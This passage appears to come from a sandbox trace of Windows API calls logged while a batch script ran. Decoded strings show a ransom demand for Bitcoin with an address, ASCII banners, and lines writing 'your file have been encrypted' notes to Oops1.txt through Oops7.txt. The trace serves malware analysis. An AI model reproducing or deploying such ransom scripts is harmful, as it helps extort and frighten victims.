lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0038.003] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.003] GetFileType (hFile=0x74) returned 0x1 [0038.003] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1872 [0038.003] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.003] SetFilePointer (in: hFile=0x74, lDistanceToMove=6293, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0038.003] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo + 90 +\r\n") returned 35 [0038.004] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0038.004] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.004] GetFileType (hFile=0x74) returned 0x1 [0038.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1895 [0038.004] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=6328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0038.004] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=35, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ++++++++++++++++++++++++++++\r\n") returned 35 [0038.004] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0038.004] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.004] GetFileType (hFile=0x74) returned 0x1 [0038.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18b8 [0038.004] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=6387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0038.004] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=59, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n#\r\n") returned 59 [0038.004] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.004] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0038.005] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.005] GetFileType (hFile=0x74) returned 0x1 [0038.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f3 [0038.005] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=6389, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0038.005] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nho Send $ 0.9 Bitcoin worth of Bitcoin to this address:\r\n") returned 2 [0038.005] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0038.005] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.005] GetFileType (hFile=0x74) returned 0x1 [0038.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x18f5 [0038.005] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=6423, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0038.005] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=34, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ur183IenOeJVZX5OeBMewJn55Lo\r\nitcoin to this address:\r\n") returned 34 [0038.005] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.005] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0038.005] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.005] GetFileType (hFile=0x74) returned 0x1 [0038.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1917 [0038.006] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=6430, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0038.006] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\n183IenOeJVZX5OeBMewJn55Lo\r\n") returned 7 [0038.006] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0038.006] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.006] GetFileType (hFile=0x74) returned 0x1 [0038.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x191e [0038.006] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=6434, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0038.006] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=4, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":a\r\ne\r\n") returned 4 [0038.006] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0038.006] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.006] GetFileType (hFile=0x74) returned 0x1 [0038.006] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1922 [0038.007] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.007] SetFilePointer (in: hFile=0x74, lDistanceToMove=6501, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0038.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=67, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ## #### ## ## #### ## ##\r\n\n") returned 67 [0038.007] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.007] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0038.007] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.007] GetFileType (hFile=0x74) returned 0x1 [0038.007] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1965 [0038.007] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.007] SetFilePointer (in: hFile=0x74, lDistanceToMove=6569, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0038.007] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ## ## ## ## ## ## ## ## ####\r\n") returned 68 [0038.007] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.007] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0038.008] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.008] GetFileType (hFile=0x74) returned 0x1 [0038.008] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19a9 [0038.008] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.008] SetFilePointer (in: hFile=0x74, lDistanceToMove=6637, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0038.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=68, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ### ## ## ## #### ## ## ## ## #\r\n") returned 68 [0038.008] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.008] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0038.008] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.008] GetFileType (hFile=0x74) returned 0x1 [0038.008] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x19ed [0038.008] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.008] SetFilePointer (in: hFile=0x74, lDistanceToMove=6701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0038.008] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=64, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ### ## ## ## ## ## #### ####### ####\r\n #\r\n") returned 64 [0038.008] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.008] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0038.009] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.009] GetFileType (hFile=0x74) returned 0x1 [0038.009] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a2d [0038.009] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.009] SetFilePointer (in: hFile=0x74, lDistanceToMove=6764, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0038.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=63, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## ## ### ####### ## ## ## ## ## ###\r\n\n") returned 63 [0038.009] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.009] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0038.009] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.009] GetFileType (hFile=0x74) returned 0x1 [0038.009] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1a6c [0038.009] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.009] SetFilePointer (in: hFile=0x74, lDistanceToMove=6826, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0038.009] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=62, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ## #### ####### #### ## ## ## ## ##\r\n\n") returned 62 [0038.009] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.009] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0038.009] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.009] GetFileType (hFile=0x74) returned 0x1 [0038.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1aaa [0038.010] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=6883, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0038.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=57, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ## ##\r\n ##\r\n") returned 57 [0038.010] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0038.010] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.010] GetFileType (hFile=0x74) returned 0x1 [0038.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1ae3 [0038.010] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=6939, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0038.010] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=56, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ####\r\n\n") returned 56 [0038.010] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0038.010] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.010] GetFileType (hFile=0x74) returned 0x1 [0038.010] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b1b [0038.011] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=6997, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0038.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops1.txt\r\n##\r\n") returned 58 [0038.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0038.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.011] GetFileType (hFile=0x74) returned 0x1 [0038.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b55 [0038.011] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=7055, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0038.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops2.txt\r\n") returned 58 [0038.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0038.011] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.011] GetFileType (hFile=0x74) returned 0x1 [0038.011] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1b8f [0038.011] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=7113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0038.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops3.txt\r\n") returned 58 [0038.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0038.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.012] GetFileType (hFile=0x74) returned 0x1 [0038.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1bc9 [0038.012] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=7171, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0038.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops4.txt\r\n") returned 58 [0038.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0038.012] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.012] GetFileType (hFile=0x74) returned 0x1 [0038.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c03 [0038.012] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.012] SetFilePointer (in: hFile=0x74, lDistanceToMove=7229, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0038.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops5.txt\r\n") returned 58 [0038.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0038.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.013] GetFileType (hFile=0x74) returned 0x1 [0038.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c3d [0038.013] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=7287, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0038.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops6.txt\r\n") returned 58 [0038.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0038.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.013] GetFileType (hFile=0x74) returned 0x1 [0038.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1c77 [0038.013] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.013] SetFilePointer (in: hFile=0x74, lDistanceToMove=7345, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0038.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=58, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo Ooops your file have been encrypted file >Oops7.txt\r\n") returned 58 [0038.013] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0038.014] _get_osfhandle (_FileHandle=3) returned 0x74 [0038.014] GetFileType (hFile=0x74) returned 0x1 [0038.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1cb1 [0038.014] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0038.014] SetFilePointer (in: hFile=0x74, lDistanceToMove=7403, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1ceb [0038.014] MultiByteToWideChar (in: CodePage=0x1b5, 